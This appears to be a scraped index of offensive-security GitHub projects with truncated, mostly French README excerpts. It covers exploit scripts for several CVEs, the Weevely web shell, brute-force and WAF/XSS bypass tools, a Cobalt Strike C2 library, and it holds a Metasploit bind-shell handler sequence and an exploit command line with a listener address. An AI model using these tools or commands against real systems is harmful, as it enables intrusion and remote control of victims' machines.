gospider

GoSpider GoSpider - Araignée web rapide écrite en Go Intégrer Gospider sans douleur dans votre workflow de reconnaissance ? ce projet faisait partie du Osmedeus Engine. Découvrez comment il a été intégré sur @OsmedeusEngine Installation Installation via Go GO111MODULE=on go install...

LeakManager

LeakManager Installation sudo apt-get install mongodb-org screen pip3 install -r requeriments.txt Utilisation screen -S leakManager hug -f index.py -p 1337 OR gunicorn index:hugwsgi -b 0.0.0.0:1337 OR uwsgi --http 0.0.0.0:1337 --wsgi-file index.py --callable hugwsgi ctrl + a + d Changer...

jetty_9.4.31_CVE-2021-34428

Dépôt canonique Eclipse Jetty Ceci est le dépôt canonique du projet Jetty, n'hésitez pas à forker et contribuer dès maintenant ! Soumettre un correctif ou une pull request ? Assurez-vous d'avoir un Eclipse Contributor Agreement ECA enregistré. eclipse.org/legal/ecafaq Description du projet Jetty...

cve-2021-31630

Ce script exploite automatiquement une vulnérabilité dans OpenPLC Web Server v3 Vous pourrez créer un Reverse Shell automatique avec le serveur sans avoir à utiliser de techniques manuelles. Détail de CVE-2021-31630 L'injection de commandes dans Open PLC Webserver v3 permet à des attaquants...

WhatWaf

WhatWaf? WhatWaf est un outil avancé de détection de pare-feu dont le but est de vous donner l'idée « Il y a un WAF ? ». WhatWaf fonctionne en détectant un pare-feu sur une application web, et en tentant de détecter un ou deux contournements pour ce pare-feu, sur la cible spécifiée. NOTE ANNEXE :...

web-brutator

Web Brutator Fast Modular Web Interfaces Bruteforcer 📥 Install python3 -m pip install -r requirements.txt ⏩ Usage $ python3 web-brutator.py -h . / \ / \ \ | \ \ / | / | \ // // | \ | | /\ \ | \ \ \ \ / \ \ \ /\ /| \ \ // | | \ | | / | /| | / | | | / /\ / \ / | / || |/ || /| /|| / / / /...

web-brutator

Web Brutator Bruteforceur rapide et modulaire d'interfaces Web 📥 Installation python3 -m pip install -r requirements.txt ⏩ Utilisation $ python3 web-brutator.py -h . / \ / \ \ | \ \ / | / | \ // // | \ | | /\ \ | \ \ \ \ / \ \ \ /\ /| \ \ // | | \ | | / | /| | / | | | / /\ / \ / | / || |/...

weevely3

Weevely - Weaponized web shell Description Weevely is a web shell designed for post-exploitation purposes that can be extended over the network at runtime. Upload weevely PHP agent to a target web server to get remote shell access to it. It has more than 30 modules to assist administrative tasks,...

weevely3

Weevely - Web shell militarisé Description Weevely est un web shell conçu pour la post-exploitation, qui peut être étendu sur le réseau à l'exécution. Téléversez l'agent PHP Weevely sur un serveur web cible pour obtenir un accès shell distant. Il dispose de plus de 30 modules pour faciliter les...

goahead-rce-exploit

GoAhead Web Server 2.5 use multi/handler msf6 exploitmulti/handler set payload generic/shellbindtcp msf6 exploitmulti/handler set LPORT=1337 msf6 exploitmulti/handler set RHOST=192.168.1.200 msf6 exploitmulti/handler run Started bind TCP handler against 192.168.1.200:1337 Ensuite, dans un autre...

snuck

snuck Automatic XSS filter bypass Overview snuck is an automatic tool whose goal is to significantly test a given XSS filter by specializing the injections on the basis of the reflection context. This approach adopts Selenium to drive a web browser in reproducing both the attacker and the victim...

kubebox

= Kubebox small^⎈❏^ Antonin Stefanutti https://github.com/astefanutti@astefanutti // Meta :description: Terminal and Web console for Kubernetes // Settings :idprefix: :idseparator: - :experimental: // Aliases ifdef::env-github :note-caption: ℹ️ :icon-check: ✔️ :icon-edit: ✏️ endif::...

kubebox

= Kubebox small^⎈❏^ Antonin Stefanutti https://github.com/astefanutti@astefanutti // Meta :description: Console terminal et Web pour Kubernetes // Settings :idprefix: :idseparator: - :experimental: // Aliases ifdef::env-github :note-caption: ℹ️ :icon-check: ✔️ :icon-edit: ✏️ endif::...

Optiva-Framework

Optiva-Framework 🕵️ Scanner d'Application Web 💉 Auteur : Joker-Security dev-labs ✔️ Description : Vous pouvez utiliser ce Framework sur votre site Web pour vérifier la sécurité de votre site en trouvant les vulnérabilités, ou utiliser cet outil pour rechercher un panneau d'administration, des...

jok3r

.. raw:: html .. image:: ./pictures/logo.png .. raw:: html .. image:: https://img.shields.io/badge/python-3.6-blue.svg :target: https://www.python.org/downloads/release/python-366/ :alt: Python 3.6 .. image:: https://readthedocs.org/projects/jok3r/badge/?version=latest :target:...

CVE-2022-24637

CVE-2022-24637 Open Web Analytics OWA - Exécution de code à distance non authentifiée https://vulners.com/cve/CVE-2022-24637 Exemple python3 exploit.py -u admin -p hacker http://target.org 10.10.11.12 4444...

scaredycat

SCAREDYCAT! version 0.1 beta Script Python pour générer un fichier MP4 malveillant et démarrer un serveur web hébergeant une page avec le fichier 'vidéo' intégré sur le port 8080. Ceci exploite une autre vulnérabilité Stagefright, la vulnérabilité de débordement d'entier CVE-2015-3864, publiée pa...

ExternalC2

ExternalC2 Cobalt Strike External C2 서버와 통신 채널을 통합하기 위한 라이브러리 이 라이브러리는 Cobalt Strike External C2 사양의 구현을 제공하며, 기본 웹 채널과 웹소켓 채널을 포함합니다. 코드베이스는 문서화되어 있으며 추가 채널을 쉽게 추가할 수 있도록 설계되었습니다. 이 readme는 아직 완성되지 않았습니다. 코딩이 문서 작성보다 더 즐겁기 때문입니다. 하지만 코드에는 주석이 상세히 달려 있으니 그것을 먼저 읽어야 하겠죠? 솔루션을 빌드하고 테스트를 단계별로 실행해 보시...

CVE-2024-7120

Injection de commande des dispositifs Raisecom CVE-2024-7120 Preuve de concept ! Aperçu Une vulnérabilité d'injection de commande a été identifiée dans les dispositifs passerelle RAISECOM, affectant les modèles MSG1200, MSG2100E, MSG2200 et MSG2300. Cette vulnérabilité permet à des attaquants...

leonidas

Leonidas Ce dépôt contient Leonidas, un framework pour exécuter des actions d'attaquant dans le cloud. Il fournit un format basé sur YAML pour définir les tactiques, techniques et procédures TTP des attaquants cloud ainsi que leurs propriétés de détection associées. Ces définitions peuvent ensuit...